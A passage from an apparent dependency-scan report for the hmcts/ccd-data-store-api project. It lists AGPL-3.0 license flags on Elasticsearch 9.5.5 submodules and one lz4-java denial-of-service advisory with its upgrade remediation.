Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-grok
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-grok@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-grok@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-grok@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-grok@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-grok@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-ip-location-api
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-ip-location-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-ip-location-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-ip-location-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-ip-location-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-ip-location-api@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-logging
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-logging@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-native
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-simdvec
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-user-agent-api
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-user-agent-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-user-agent-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-user-agent-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-user-agent-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-user-agent-api@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch.plugin:elasticsearch-plugin-analysis-api
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch.plugin:elasticsearch-plugin-api
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.5.5 › org.elasticsearch.plugin:elasticsearch-plugin-api@9.5.5
AGPL-3.0 license
medium severity
new
- Vulnerable module: at.yawk.lz4:lz4-java
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
Overview
Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value through the LZ4DecompressorWithLength.decompress process. An attacker can cause excessive memory allocation and trigger a denial of service by supplying a crafted input with a manipulated length header.
Remediation
Upgrade at.yawk.lz4:lz4-java to version 1.11.2 or higher.
References
medium severity
new
- Vulnerable module: at.yawk.lz4:lz4-java
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-lz4@9.5.5 › at.yawk.lz4:lz4-java@1.11.1
-
